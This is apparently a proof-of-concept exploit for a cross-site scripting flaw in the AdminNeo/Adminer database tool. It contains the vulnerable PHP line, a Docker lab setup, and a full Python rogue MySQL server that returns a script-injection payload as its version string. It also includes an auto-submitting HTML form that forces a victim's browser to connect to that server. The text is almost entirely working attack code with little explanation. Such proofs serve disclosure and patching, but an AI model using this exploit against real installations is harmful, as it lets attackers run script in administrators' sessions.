AdminNeo CVE-2026-96632

echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"
# protocol version 10
    pkt += version_str.encode() + b"\x00"
# version string
    pkt += struct.pack("<I", 1)
# connection id
    pkt += b"\x41" * 8
# auth plugin data part 1
    pkt += b"\x00"
# filler
    pkt += struct.pack("<H", CAPS_LOW)
# capability flags lower
    pkt += b"\x21"
# charset utf8
    pkt += struct.pack("<H", 0x0002)
# status flags
    pkt += struct.pack("<H", CAPS_HIGH)
# capability flags upper
    pkt += b"\x15"
# auth data length (21)
    pkt += b"\x00" * 10
# reserved
    pkt += b"\x41" * 12 + b"\x00"
# auth plugin data part 2
    pkt += b"mysql_native_password\x00"
# auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"
# OK marker
    pkt += b"\x00"
# affected rows
    pkt += b"\x00"
# last insert id
    pkt += struct.pack("<H", 0x0002)
# status flags
    pkt += struct.pack("<H", 0)
# warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)
# warnings
    pkt += struct.pack("<H", 0x0002)
# status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)
# client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))
# accept login
# Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()

# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py

<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>